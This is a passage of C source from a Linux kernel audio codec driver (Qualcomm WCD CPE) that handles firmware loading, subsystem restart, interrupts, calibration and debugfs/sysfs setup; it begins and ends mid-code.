"SSR"); if (xchg(&ssr_entry->offline_change, 0)) ret = POLLIN | POLLPRI | POLLRDNORM; WCD_CPE_REL_LOCK(&core->ssr_lock, "SSR"); dev_dbg(core->dev, "%s: ret (%d) from poll_wait\n", __func__, ret); return ret; } /* * wcd_cpe_is_online_state - return true if card is online state * @core: core offline to query */ static bool wcd_cpe_is_online_state(void *core_handle) { struct wcd_cpe_core *core = core_handle; if (core_handle) { return !core->ssr_entry.offline; } else { pr_err("%s: Core handle NULL\n", __func__); /* still return 1- offline if core ptr null */ return false; } } static struct snd_info_entry_ops wcd_cpe_state_proc_ops = { .read = wcd_cpe_state_read, .poll = wcd_cpe_state_poll, }; static int wcd_cpe_check_new_image(struct wcd_cpe_core *core) { int rc = 0; char temp_img_name[WCD_CPE_IMAGE_FNAME_MAX]; if (!strcmp(core->fname, core->dyn_fname) && core->ssr_type != WCD_CPE_INITIALIZED) { dev_dbg(core->dev, "%s: Firmware unchanged, fname = %s, ssr_type 0x%x\n", __func__, core->fname, core->ssr_type); goto done; } /* * Different firmware name requested, * Re-load the instruction section */ strlcpy(temp_img_name, core->fname, WCD_CPE_IMAGE_FNAME_MAX); strlcpy(core->fname, core->dyn_fname, WCD_CPE_IMAGE_FNAME_MAX); rc = wcd_cpe_load_fw(core, ELF_FLAG_EXECUTE); if (rc) { dev_err(core->dev, "%s: Failed to dload new image %s, err = %d\n", __func__, core->fname, rc); /* If new image download failed, revert back to old image */ strlcpy(core->fname, temp_img_name, WCD_CPE_IMAGE_FNAME_MAX); rc = wcd_cpe_load_fw(core, ELF_FLAG_EXECUTE); if (rc) dev_err(core->dev, "%s: Failed to re-dload image %s, err = %d\n", __func__, core->fname, rc); } else { dev_info(core->dev, "%s: fw changed to %s\n", __func__, core->fname); } done: return rc; } static int wcd_cpe_enable(struct wcd_cpe_core *core, bool enable) { int ret = 0; if (enable) { /* Reset CPE first */ ret = cpe_svc_reset(core->cpe_handle); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE Reset failed, error = %d\n", __func__, ret); goto done; } ret = wcd_cpe_setup_irqs(core); if (ret) { dev_err(core->dev, "%s: CPE IRQs setup failed, error = %d\n", __func__, ret); goto done; } ret = wcd_cpe_check_new_image(core); if (ret) goto fail_boot; /* Dload data section */ ret = wcd_cpe_load_fw(core, ELF_FLAG_RW); if (ret) { dev_err(core->dev, "%s: Failed to dload data section, err = %d\n", __func__, ret); goto fail_boot; } ret = wcd_cpe_enable_cpe_clks(core, true); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE clk enable failed, err = %d\n", __func__, ret); goto fail_boot; } ret = cpe_svc_boot(core->cpe_handle, core->cpe_debug_mode); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: Failed to boot CPE\n", __func__); goto fail_boot; } /* wait for CPE to be online */ dev_dbg(core->dev, "%s: waiting for CPE bootup\n", __func__); wait_for_completion(&core->online_compl); dev_dbg(core->dev, "%s: CPE bootup done\n", __func__); core->ssr_type = WCD_CPE_ENABLED; } else { if (core->ssr_type == WCD_CPE_BUS_DOWN_EVENT || core->ssr_type == WCD_CPE_SSR_EVENT) { /* * If this disable vote is when * SSR is in progress, do not disable CPE here, * instead SSR handler will control CPE. */ wcd_cpe_enable_cpe_clks(core, false); wcd_cpe_cleanup_irqs(core); goto done; } ret = cpe_svc_shutdown(core->cpe_handle); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE shutdown failed, error %d\n", __func__, ret); goto done; } wcd_cpe_enable_cpe_clks(core, false); wcd_cpe_cleanup_irqs(core); core->ssr_type = WCD_CPE_IMEM_DOWNLOADED; } return ret; fail_boot: wcd_cpe_cleanup_irqs(core); done: return ret; } /* * wcd_cpe_boot_ssr: Load the images to CPE after ssr and bootup cpe * @core: handle to the core */ static int wcd_cpe_boot_ssr(struct wcd_cpe_core *core) { int rc = 0; if (!core || !core->cpe_handle) { pr_err("%s: Invalid handle\n", __func__); rc = -EINVAL; goto fail; } /* Load the instruction section and mark CPE as online */ rc = wcd_cpe_load_fw(core, ELF_FLAG_EXECUTE); if (rc) { dev_err(core->dev, "%s: Failed to load instruction, err = %d\n", __func__, rc); goto fail; } else { wcd_cpe_change_online_state(core, 1); } fail: return rc; } /* * wcd_cpe_clr_ready_status: * Clear the value from the ready status for CPE * @core: handle to the core * @value: flag/bitmask that is to be cleared * * This function should not be invoked with ssr_lock acquired */ static void wcd_cpe_clr_ready_status(struct wcd_cpe_core *core, u8 value) { WCD_CPE_GRAB_LOCK(&core->ssr_lock, "SSR"); core->ready_status &= ~(value); dev_dbg(core->dev, "%s: ready_status = 0x%x\n", __func__, core->ready_status); WCD_CPE_REL_LOCK(&core->ssr_lock, "SSR"); } /* * wcd_cpe_set_and_complete: * Set the ready status with the provided value and * flag the completion object if ready status moves * to ready to download * @core: handle to the core * @value: flag/bitmask that is to be set */ static void wcd_cpe_set_and_complete(struct wcd_cpe_core *core, u8 value) { WCD_CPE_GRAB_LOCK(&core->ssr_lock, "SSR"); core->ready_status |= value; if ((core->ready_status & WCD_CPE_READY_TO_DLOAD) == WCD_CPE_READY_TO_DLOAD) { dev_dbg(core->dev, "%s: marking ready, status = 0x%x\n", __func__, core->ready_status); complete(&core->ready_compl); } WCD_CPE_REL_LOCK(&core->ssr_lock, "SSR"); } /* * wcd_cpe_ssr_work: work function to handle CPE SSR * @work: work that is scheduled to perform CPE shutdown * and restart */ static void wcd_cpe_ssr_work(struct work_struct *work) { int rc = 0; u32 irq = 0; struct wcd_cpe_core *core = NULL; u8 status = 0; core = container_of(work, struct wcd_cpe_core, ssr_work); if (!core) { pr_err("%s: Core handle NULL\n", __func__); return; } /* Obtain pm request up in case of suspend mode */ pm_qos_add_request(&core->pm_qos_req, PM_QOS_CPU_DMA_LATENCY, PM_QOS_DEFAULT_VALUE); pm_qos_update_request(&core->pm_qos_req, msm_cpuidle_get_deep_idle_latency()); dev_dbg(core->dev, "%s: CPE SSR with event %d\n", __func__, core->ssr_type); if (core->ssr_type == WCD_CPE_SSR_EVENT) { if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control( core->codec, CPE_ERR_IRQ_STATUS, &status); if (status & core->irq_info.cpe_fatal_irqs) irq = CPE_IRQ_WDOG_BITE; } else { /* If bus is down, cdc reg cannot be read */ irq = CPE_IRQ_WDOG_BITE; } if (core->cpe_users > 0) { rc = cpe_svc_process_irq(core->cpe_handle, irq); if (IS_ERR_VALUE(rc)) /* * Even if process_irq fails, * wait for cpe to move to offline state */ dev_err(core->dev, "%s: irq processing failed, error = %d\n", __func__, rc); rc = wait_for_completion_timeout(&core->offline_compl, CPE_OFFLINE_WAIT_TIMEOUT); if (!rc) { dev_err(core->dev, "%s: wait for cpe offline timed out\n", __func__); goto err_ret; } if (core->ssr_type != WCD_CPE_BUS_DOWN_EVENT) { wcd_cpe_get_sfr_dump(core); /* * Ramdump has to be explicitly enabled * through debugfs and cannot be collected * when bus is down. */ if (ramdump_enable) wcd_cpe_collect_ramdump(core); } } else { pr_err("%s: no cpe users, mark as offline\n", __func__); wcd_cpe_change_online_state(core, 0); wcd_cpe_set_and_complete(core, WCD_CPE_BLK_READY); } rc = wait_for_completion_timeout(&core->ready_compl, CPE_READY_WAIT_TIMEOUT); if (!rc) { dev_err(core->dev, "%s: ready to online timed out, status = %u\n", __func__, core->ready_status); goto err_ret; } rc = wcd_cpe_boot_ssr(core); /* Once image are downloaded make sure all * error interrupts are cleared */ if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control(core->codec, CPE_ERR_IRQ_CLEAR, NULL); err_ret: /* remove after default pm qos */ pm_qos_update_request(&core->pm_qos_req, PM_QOS_DEFAULT_VALUE); pm_qos_remove_request(&core->pm_qos_req); } /* * wcd_cpe_ssr_handle: handle SSR events here. * @core_handle: handle to the cpe core * @event: indicates ADSP or CDSP SSR. */ int wcd_cpe_ssr_event(void *core_handle, enum wcd_cpe_ssr_state_event event) { struct wcd_cpe_core *core = core_handle; if (!core) { pr_err("%s: Invalid handle to core\n", __func__); return -EINVAL; } /* * If CPE is not even enabled, the SSR event for * CPE needs to be ignored */ if (core->ssr_type == WCD_CPE_INITIALIZED) { dev_info(core->dev, "%s: CPE initialized but not enabled, skip CPE ssr\n", __func__); return 0; } dev_dbg(core->dev, "%s: Schedule ssr work, event = %d\n", __func__, core->ssr_type); switch (event) { case WCD_CPE_BUS_DOWN_EVENT: /* * If bus down, then CPE block is also * treated to be down */ wcd_cpe_clr_ready_status(core, WCD_CPE_READY_TO_DLOAD); core->ssr_type = event; schedule_work(&core->ssr_work); break; case WCD_CPE_SSR_EVENT: wcd_cpe_clr_ready_status(core, WCD_CPE_BLK_READY); core->ssr_type = event; schedule_work(&core->ssr_work); break; case WCD_CPE_BUS_UP_EVENT: wcd_cpe_set_and_complete(core, WCD_CPE_BUS_READY); /* * In case of bus up event ssr_type will be changed * to WCD_CPE_ACTIVE once CPE is online */ break; default: dev_err(core->dev, "%s: unhandled SSR event %d\n", __func__, event); return -EINVAL; } return 0; } EXPORT_SYMBOL(wcd_cpe_ssr_event); /* * svass_exception_irq: threaded irq handler for sva error interrupts * @irq: interrupt number * @data: data pointer passed during irq registration * * Once a error interrupt is received, it is not cleared, since * clearing this interrupt will raise spurious interrupts unless * CPE is reset. */ static irqreturn_t svass_exception_irq(int irq, void *data) { struct wcd_cpe_core *core = data; u8 status = 0; if (!core || !CPE_ERR_IRQ_CB(core)) { pr_err("%s: Invalid %s\n", __func__, (!core) ? "core" : "cdc control"); return IRQ_HANDLED; } core->cpe_cdc_cb->cpe_err_irq_control(core->codec, CPE_ERR_IRQ_STATUS, &status); while (status != 0) { if (status & core->irq_info.cpe_fatal_irqs) { dev_err(core->dev, "%s: CPE SSR event,err_status = 0x%02x\n", __func__, status); wcd_cpe_ssr_event(core, WCD_CPE_SSR_EVENT); /* * If fatal interrupt is received, * trigger SSR and stop processing * further interrupts */ break; } /* * Mask the interrupt that was raised to * avoid spurious interrupts */ core->cpe_cdc_cb->cpe_err_irq_control(core->codec, CPE_ERR_IRQ_MASK, &status); /* Clear only the interrupt that was raised */ core->cpe_cdc_cb->cpe_err_irq_control(core->codec, CPE_ERR_IRQ_CLEAR, &status); dev_err(core->dev, "%s: err_interrupt status = 0x%x\n", __func__, status); /* Read status for pending interrupts */ core->cpe_cdc_cb->cpe_err_irq_control(core->codec, CPE_ERR_IRQ_STATUS, &status); } return IRQ_HANDLED; } /* * wcd_cpe_cmi_afe_cb: callback called on response to afe commands * @param: parameter containing the response code, etc * * Process the request to the command sent to CPE and wakeup the * command send wait. */ static void wcd_cpe_cmi_afe_cb(const struct cmi_api_notification *param) { struct cmi_hdr *hdr; struct wcd_cmi_afe_port_data *afe_port_d; u8 port_id; if (!param) { pr_err("%s: param is null\n", __func__); return; } if (param->event != CMI_API_MSG) { pr_err("%s: unhandled event 0x%x\n", __func__, param->event); return; } pr_debug("%s: param->result = %d\n", __func__, param->result); hdr = (struct cmi_hdr *) param->message; /* * for AFE cmd response, port id is * stored at session id field of header */ port_id = CMI_HDR_GET_SESSION_ID(hdr); if (port_id > WCD_CPE_AFE_MAX_PORTS) { pr_err("%s: invalid port_id %d\n", __func__, port_id); return; } afe_port_d = &(afe_ports[port_id]); if (hdr->opcode == CPE_CMI_BASIC_RSP_OPCODE) { u8 *payload = ((u8 *)param->message) + (sizeof(struct cmi_hdr)); u8 result = payload[0]; afe_port_d->cmd_result = result; complete(&afe_port_d->afe_cmd_complete); } else if (hdr->opcode == CPE_AFE_PORT_CMDRSP_SHARED_MEM_ALLOC) { struct cpe_cmdrsp_shmem_alloc *cmdrsp_shmem_alloc = (struct cpe_cmdrsp_shmem_alloc *) param->message; if (cmdrsp_shmem_alloc->addr == 0) { pr_err("%s: Failed AFE shared mem alloc\n", __func__); afe_port_d->cmd_result = CMI_SHMEM_ALLOC_FAILED; } else { pr_debug("%s AFE shared mem addr = 0x%x\n", __func__, cmdrsp_shmem_alloc->addr); afe_port_d->mem_handle = cmdrsp_shmem_alloc->addr; afe_port_d->cmd_result = 0; } complete(&afe_port_d->afe_cmd_complete); } return; } /* * wcd_cpe_initialize_afe_port_data: Initialize all AFE ports * * Initialize the data for all the afe ports. Assign the * afe port state to INIT state. */ static void wcd_cpe_initialize_afe_port_data(void) { struct wcd_cmi_afe_port_data *afe_port_d; int i; for (i = 0; i <= WCD_CPE_AFE_MAX_PORTS; i++) { afe_port_d = &afe_ports[i]; afe_port_d->port_id = i; init_completion(&afe_port_d->afe_cmd_complete); afe_port_d->port_state = AFE_PORT_STATE_INIT; mutex_init(&afe_port_d->afe_lock); } } /* * wcd_cpe_deinitialize_afe_port_data: De-initialize all AFE ports * * De-Initialize the data for all the afe ports. Assign the * afe port state to DEINIT state. */ static void wcd_cpe_deinitialize_afe_port_data(void) { struct wcd_cmi_afe_port_data *afe_port_d; int i; for (i = 0; i <= WCD_CPE_AFE_MAX_PORTS; i++) { afe_port_d = &afe_ports[i]; afe_port_d->port_state = AFE_PORT_STATE_DEINIT; mutex_destroy(&afe_port_d->afe_lock); } } /* * wcd_cpe_svc_event_cb: callback from cpe services, indicating * CPE is online or offline. * @param: parameter / payload for event to be notified */ static void wcd_cpe_svc_event_cb(const struct cpe_svc_notification *param) { struct snd_soc_codec *codec; struct wcd_cpe_core *core; struct cpe_svc_boot_event *boot_data; bool active_sessions; if (!param) { pr_err("%s: Invalid event\n", __func__); return; } codec = param->private_data; if (!codec) { pr_err("%s: Invalid handle to codec\n", __func__); return; } core = wcd_cpe_get_core_handle(codec); if (!core) { pr_err("%s: Invalid handle to core\n", __func__); return; } dev_dbg(core->dev, "%s: event = 0x%x, ssr_type = 0x%x\n", __func__, param->event, core->ssr_type); switch (param->event) { case CPE_SVC_BOOT: boot_data = (struct cpe_svc_boot_event *) param->payload; core->sfr_buf_addr = boot_data->debug_address; core->sfr_buf_size = boot_data->debug_buffer_size; dev_dbg(core->dev, "%s: CPE booted, sfr_addr = %d, sfr_size = %zu\n", __func__, core->sfr_buf_addr, core->sfr_buf_size); break; case CPE_SVC_ONLINE: core->ssr_type = WCD_CPE_ACTIVE; dev_dbg(core->dev, "%s CPE is now online\n", __func__); complete(&core->online_compl); break; case CPE_SVC_OFFLINE: /* * offline can happen during normal shutdown, * but we are interested in offline only during * SSR. */ if (core->ssr_type != WCD_CPE_SSR_EVENT && core->ssr_type != WCD_CPE_BUS_DOWN_EVENT) break; active_sessions = wcd_cpe_lsm_session_active(); wcd_cpe_change_online_state(core, 0); complete(&core->offline_compl); dev_err(core->dev, "%s: CPE is now offline\n", __func__); break; case CPE_SVC_CMI_CLIENTS_DEREG: /* * Only when either CPE SSR is in progress, * or the bus is down, we need to mark the CPE * as ready. In all other cases, this event is * ignored */ if (core->ssr_type == WCD_CPE_SSR_EVENT || core->ssr_type == WCD_CPE_BUS_DOWN_EVENT) wcd_cpe_set_and_complete(core, WCD_CPE_BLK_READY); break; default: dev_err(core->dev, "%s: unhandled notification\n", __func__); break; } return; } /* * wcd_cpe_cleanup_irqs: free the irq resources required by cpe * @core: handle the cpe core * * This API will free the IRQs for CPE but does not mask the * CPE interrupts. If masking is needed, it has to be done * explicity by caller. */ static void wcd_cpe_cleanup_irqs(struct wcd_cpe_core *core) { struct snd_soc_codec *codec = core->codec; struct wcd9xxx *wcd9xxx = dev_get_drvdata(codec->dev->parent); struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res; wcd9xxx_free_irq(core_res, core->irq_info.cpe_engine_irq, core); wcd9xxx_free_irq(core_res, core->irq_info.cpe_err_irq, core); } /* * wcd_cpe_setup_sva_err_intr: setup the irqs for CPE * @core: handle to wcd_cpe_core * All interrupts needed for CPE are acquired. If any * request_irq fails, then all irqs are free'd */ static int wcd_cpe_setup_irqs(struct wcd_cpe_core *core) { int ret; struct snd_soc_codec *codec = core->codec; struct wcd9xxx *wcd9xxx = dev_get_drvdata(codec->dev->parent); struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res; ret = wcd9xxx_request_irq(core_res, core->irq_info.cpe_engine_irq, svass_engine_irq, "SVASS_Engine", core); if (ret) { dev_err(core->dev, "%s: Failed to request svass engine irq\n", __func__); goto fail_engine_irq; } /* Make sure all error interrupts are cleared */ if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control( core->codec, CPE_ERR_IRQ_CLEAR, NULL); /* Enable required error interrupts */ if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control( core->codec, CPE_ERR_IRQ_UNMASK, NULL); ret = wcd9xxx_request_irq(core_res, core->irq_info.cpe_err_irq, svass_exception_irq, "SVASS_Exception", core); if (ret) { dev_err(core->dev, "%s: Failed to request svass err irq\n", __func__); goto fail_exception_irq; } return 0; fail_exception_irq: wcd9xxx_free_irq(core_res, core->irq_info.cpe_engine_irq, core); fail_engine_irq: return ret; } static int wcd_cpe_get_cal_index(int32_t cal_type) { int cal_index = -EINVAL; if (cal_type == ULP_AFE_CAL_TYPE) cal_index = WCD_CPE_LSM_CAL_AFE; else if (cal_type == ULP_LSM_CAL_TYPE) cal_index = WCD_CPE_LSM_CAL_LSM; else if (cal_type == ULP_LSM_TOPOLOGY_ID_CAL_TYPE) cal_index = WCD_CPE_LSM_CAL_TOPOLOGY_ID; else pr_err("%s: invalid cal_type %d\n", __func__, cal_type); return cal_index; } static int wcd_cpe_alloc_cal(int32_t cal_type, size_t data_size, void *data) { int ret = 0; int cal_index; cal_index = wcd_cpe_get_cal_index(cal_type); if (cal_index < 0) { pr_err("%s: invalid caltype %d\n", __func__, cal_type); return -EINVAL; } ret = cal_utils_alloc_cal(data_size, data, core_d->cal_data[cal_index], 0, NULL); if (ret < 0) pr_err("%s: cal_utils_alloc_block failed, ret = %d, cal type = %d!\n", __func__, ret, cal_type); return ret; } static int wcd_cpe_dealloc_cal(int32_t cal_type, size_t data_size, void *data) { int ret = 0; int cal_index; cal_index = wcd_cpe_get_cal_index(cal_type); if (cal_index < 0) { pr_err("%s: invalid caltype %d\n", __func__, cal_type); return -EINVAL; } ret = cal_utils_dealloc_cal(data_size, data, core_d->cal_data[cal_index]); if (ret < 0) pr_err("%s: cal_utils_dealloc_block failed, ret = %d, cal type = %d!\n", __func__, ret, cal_type); return ret; } static int wcd_cpe_set_cal(int32_t cal_type, size_t data_size, void *data) { int ret = 0; int cal_index; cal_index = wcd_cpe_get_cal_index(cal_type); if (cal_index < 0) { pr_err("%s: invalid caltype %d\n", __func__, cal_type); return -EINVAL; } ret = cal_utils_set_cal(data_size, data, core_d->cal_data[cal_index], 0, NULL); if (ret < 0) pr_err("%s: cal_utils_set_cal failed, ret = %d, cal type = %d!\n", __func__, ret, cal_type); return ret; } static int wcd_cpe_cal_init(struct wcd_cpe_core *core) { int ret = 0; struct cal_type_info cal_type_info[] = { {{ULP_AFE_CAL_TYPE, {wcd_cpe_alloc_cal, wcd_cpe_dealloc_cal, NULL, wcd_cpe_set_cal, NULL, NULL} }, {NULL, NULL, cal_utils_match_buf_num} }, {{ULP_LSM_CAL_TYPE, {wcd_cpe_alloc_cal, wcd_cpe_dealloc_cal, NULL, wcd_cpe_set_cal, NULL, NULL} }, {NULL, NULL, cal_utils_match_buf_num} }, {{ULP_LSM_TOPOLOGY_ID_CAL_TYPE, {wcd_cpe_alloc_cal, wcd_cpe_dealloc_cal, NULL, wcd_cpe_set_cal, NULL, NULL} }, {NULL, NULL, cal_utils_match_buf_num} }, }; ret = cal_utils_create_cal_types(WCD_CPE_LSM_CAL_MAX, core->cal_data, cal_type_info); if (ret < 0) pr_err("%s: could not create cal type!\n", __func__); return ret; } /* * wcd_cpe_enable: setup the cpe interrupts and schedule * the work to download image and bootup the CPE. * core: handle to cpe core structure */ static int wcd_cpe_vote(struct wcd_cpe_core *core, bool enable) { int ret = 0; if (!core) { pr_err("%s: Invalid handle to core\n", __func__); ret = -EINVAL; goto done; } dev_dbg(core->dev, "%s: enter, enable = %s, cpe_users = %u\n", __func__, (enable ? "true" : "false"), core->cpe_users); if (enable) { core->cpe_users++; if (core->cpe_users == 1) { ret = wcd_cpe_enable(core, enable); if (ret) { dev_err(core->dev, "%s: CPE enable failed, err = %d\n", __func__, ret); goto done; } } else { dev_dbg(core->dev, "%s: cpe already enabled, users = %u\n", __func__, core->cpe_users); goto done; } } else { core->cpe_users--; if (core->cpe_users == 0) { ret = wcd_cpe_enable(core, enable); if (ret) { dev_err(core->dev, "%s: CPE disable failed, err = %d\n", __func__, ret); goto done; } } else { dev_dbg(core->dev, "%s: %u valid users on cpe\n", __func__, core->cpe_users); goto done; } } dev_dbg(core->dev, "%s: leave, enable = %s, cpe_users = %u\n", __func__, (enable ? "true" : "false"), core->cpe_users); done: return ret; } static int wcd_cpe_debugfs_init(struct wcd_cpe_core *core) { int rc = 0; struct dentry *dir = debugfs_create_dir("wcd_cpe", NULL); if (IS_ERR_OR_NULL(dir)) { dir = NULL; rc = -ENODEV; goto err_create_dir; } if (!debugfs_create_u32("ramdump_enable", S_IRUGO | S_IWUSR, dir, &ramdump_enable)) { dev_err(core->dev, "%s: Failed to create debugfs node %s\n", __func__, "ramdump_enable"); rc = -ENODEV; goto err_create_entry; } if (!debugfs_create_file("cpe_ftm_test_trigger", S_IWUSR, dir, core, &cpe_ftm_test_trigger_fops)) { dev_err(core->dev, "%s: Failed to create debugfs node %s\n", __func__, "cpe_ftm_test_trigger"); rc = -ENODEV; goto err_create_entry; } if (!debugfs_create_u32("cpe_ftm_test_status", S_IRUGO, dir, &cpe_ftm_test_status)) { dev_err(core->dev, "%s: Failed to create debugfs node %s\n", __func__, "cpe_ftm_test_status"); rc = -ENODEV; goto err_create_entry; } err_create_entry: debugfs_remove(dir); err_create_dir: return rc; } static ssize_t fw_name_show(struct wcd_cpe_core *core, char *buf) { return snprintf(buf, WCD_CPE_IMAGE_FNAME_MAX, "%s", core->dyn_fname); } static ssize_t fw_name_store(struct wcd_cpe_core *core, const char *buf, ssize_t count) { int copy_count = count; const char *pos; pos = memchr(buf, '\n', count); if (pos) copy_count = pos - buf; if (copy_count > WCD_CPE_IMAGE_FNAME_MAX) { dev_err(core->dev, "%s: Invalid length %d, max allowed %d\n", __func__, copy_count, WCD_CPE_IMAGE_FNAME_MAX); return -EINVAL; } strlcpy(core->dyn_fname, buf, copy_count + 1); return count; } WCD_CPE_ATTR(fw_name, 0660, fw_name_show, fw_name_store); static ssize_t wcd_cpe_sysfs_show(struct kobject *kobj, struct attribute *attr, char *buf) { struct wcd_cpe_attribute *cpe_attr = to_wcd_cpe_attr(attr); struct wcd_cpe_core *core = kobj_to_cpe_core(kobj); ssize_t ret = -EINVAL; if (core && cpe_attr->show) ret = cpe_attr->show(core, buf); return ret; } static ssize_t wcd_cpe_sysfs_store(struct kobject *kobj, struct attribute *attr, const char *buf, size_t count) { struct wcd_cpe_attribute *cpe_attr = to_wcd_cpe_attr(attr); struct wcd_cpe_core *core = kobj_to_cpe_core(kobj); ssize_t ret = -EINVAL; if (core && cpe_attr->store) ret = cpe_attr->store(core, buf, count); return ret; } static const struct sysfs_ops wcd_cpe_sysfs_ops = { .show = wcd_cpe_sysfs_show, .store = wcd_cpe_sysfs_store, }; static struct kobj_type wcd_cpe_ktype = { .sysfs_ops = &wcd_cpe_sysfs_ops, }; static int wcd_cpe_sysfs_init(struct wcd_cpe_core *core, int id) { char sysfs_dir_name[WCD_CPE_SYSFS_DIR_MAX_LENGTH]; int rc = 0; snprintf(sysfs_dir_name, WCD_CPE_SYSFS_DIR_MAX_LENGTH, "%s%d", "wcd_cpe", id); rc = kobject_init_and_add(&core->cpe_kobj, &wcd_cpe_ktype, kernel_kobj, sysfs_dir_name); if (unlikely(rc)) { dev_err(core->dev, "%s: Failed to add kobject %s, err = %d\n", __func__, sysfs_dir_name, rc); goto done; } rc = sysfs_create_file(&core->cpe_kobj, &cpe_attr_fw_name.attr); if (rc) { dev_err(core->dev, "%s: Failed to fw_name sysfs entry to %s\n", __func__, sysfs_dir_name); goto fail_create_file; } return 0; fail_create_file: kobject_put(&core->cpe_kobj); done: return rc; } static ssize_t cpe_ftm_test_trigger(struct file *file, const char __user *user_buf, size_t count, loff_t *ppos) { struct wcd_cpe_core *core = file->private_data; int ret = 0; /* Enable the clks for cpe */ ret = wcd_cpe_enable_cpe_clks(core, true); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE clk enable failed, err = %d\n", __func__, ret); goto done; } /* Get the CPE_STATUS */ ret = cpe_svc_ftm_test(core->cpe_handle, &cpe_ftm_test_status); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE FTM test failed, err = %d\n", __func__, ret); if (ret == CPE_SVC_BUSY) { cpe_ftm_test_status = 1; ret = 0; } } /* Disable the clks for cpe */ ret = wcd_cpe_enable_cpe_clks(core, false); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE clk disable failed, err = %d\n", __func__, ret); } done: if (ret < 0) return ret; else return count; } static int wcd_cpe_validate_params( struct snd_soc_codec *codec, struct wcd_cpe_params *params) { if (!codec) { pr_err("%s: Invalid codec\n", __func__); return -EINVAL; } if (!params) { dev_err(codec->dev, "%s: No params supplied for codec %s\n", __func__, codec->component.name); return -EINVAL; } if (!params->codec || !params->get_cpe_core || !params->cdc_cb) { dev_err(codec->dev, "%s: Invalid params for codec %s\n", __func__, codec->component.name); return -EINVAL; } return 0; } /* * wcd_cpe_init: Initialize CPE related structures * @img_fname: filename for firmware image * @codec: handle to codec requesting for image download * @params: parameter structure passed from caller * * This API will initialize the cpe core but will not * download the image or boot the cpe core. */ struct wcd_cpe_core *wcd_cpe_init(const char *img_fname, struct snd_soc_codec *codec, struct wcd_cpe_params *params) { struct wcd_cpe_core *core; int ret = 0; struct snd_card *card = NULL; struct snd_info_entry *entry = NULL; char proc_name[WCD_CPE_STATE_MAX_LEN]; const char *cpe_name = "cpe"; const char *state_name = "_state"; const struct cpe_svc_hw_cfg *hw_info; int id = 0; if (wcd_cpe_validate_params(codec, params)) return NULL; core = kzalloc(sizeof(struct wcd_cpe_core), GFP_KERNEL); if (!core) { dev_err(codec->dev, "%s: Failed to allocate cpe core data\n", __func__); return NULL; } snprintf(core->fname, sizeof(core->fname), "%s", img_fname); strlcpy(core->dyn_fname, core->fname, WCD_CPE_IMAGE_FNAME_MAX); wcd_get_cpe_core = params->get_cpe_core; core->codec = params->codec; core->dev = params->codec->dev; core->cpe_debug_mode = params->dbg_mode; core->cdc_info.major_version = params->cdc_major_ver; core->cdc_info.minor_version = params->cdc_minor_ver; core->cdc_info.id = params->cdc_id; core->cpe_cdc_cb = params->cdc_cb; memcpy(&core->irq_info, &params->cdc_irq_info, sizeof(core->irq_info)); INIT_WORK(&core->load_fw_work, wcd_cpe_load_fw_image); INIT_WORK(&core->ssr_work, wcd_cpe_ssr_work); init_completion(&core->offline_compl); init_completion(&core->ready_compl); init_completion(&core->online_compl); init_waitqueue_head(&core->ssr_entry.offline_poll_wait); mutex_init(&core->ssr_lock); core->cpe_users = 0; core->cpe_clk_ref = 0; /* * By default, during probe, it is assumed that * both CPE hardware block and underlying bus to codec * are ready */ core->ready_status = WCD_CPE_READY_TO_DLOAD; core->cpe_handle = cpe_svc_initialize(NULL, &core->cdc_info, params->cpe_svc_params); if (!core->cpe_handle) { dev_err(core->dev, "%s: failed to initialize cpe services\n", __func__); goto fail_cpe_initialize; } core->cpe_reg_handle = cpe_svc_register(core->cpe_handle, wcd_cpe_svc_event_cb, CPE_SVC_ONLINE | CPE_SVC_OFFLINE | CPE_SVC_BOOT | CPE_SVC_CMI_CLIENTS_DEREG, "codec cpe handler"); if (!core->cpe_reg_handle) { dev_err(core->dev, "%s: failed to register cpe service\n", __func__); goto fail_cpe_register; } card = codec->component.card->snd_card; snprintf(proc_name, (sizeof("cpe") + sizeof("_state") + sizeof(id) - 2), "%s%d%s", cpe_name, id, state_name); entry = snd_info_create_card_entry(card, proc_name, card->proc_root); if (entry) { core->ssr_entry.entry = entry; core->ssr_entry.offline = 1; entry->size = WCD_CPE_STATE_MAX_LEN; entry->content = SNDRV_INFO_CONTENT_DATA; entry->c.ops = &wcd_cpe_state_proc_ops; entry->private_data = core; ret = snd_info_register(entry); if (ret < 0) { dev_err(core->dev, "%s: snd_info_register failed (%d)\n", __func__, ret); snd_info_free_entry(entry); entry = NULL; } } else { dev_err(core->dev, "%s: Failed to create CPE SSR status entry\n", __func__); /* * Even if SSR entry creation fails, continue * with image download */ } core_d = core; ret = wcd_cpe_cal_init(core); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: CPE calibration init failed, err = %d\n", __func__, ret); goto fail_cpe_reset; } wcd_cpe_debugfs_init(core); wcd_cpe_sysfs_init(core, id); hw_info = cpe_svc_get_hw_cfg(core->cpe_handle); if (!hw_info) { dev_err(core->dev, "%s: hw info not available\n", __func__); goto schedule_dload_work; } else { core->hw_info.dram_offset = hw_info->DRAM_offset; core->hw_info.dram_size = hw_info->DRAM_size; core->hw_info.iram_offset = hw_info->IRAM_offset; core->hw_info.iram_size = hw_info->IRAM_size; } /* Setup the ramdump device and buffer */ core->cpe_ramdump_dev = create_ramdump_device("cpe", core->dev); if (!core->cpe_ramdump_dev) { dev_err(core->dev, "%s: Failed to create ramdump device\n", __func__); goto schedule_dload_work; } core->cpe_dump_v_addr = dma_alloc_coherent(core->dev, core->hw_info.dram_size, &core->cpe_dump_addr, GFP_KERNEL); if (!core->cpe_dump_v_addr) { dev_err(core->dev, "%s: Failed to alloc memory for cpe dump, size = %zd\n", __func__, core->hw_info.dram_size); goto schedule_dload_work; } else { memset(core->cpe_dump_v_addr, 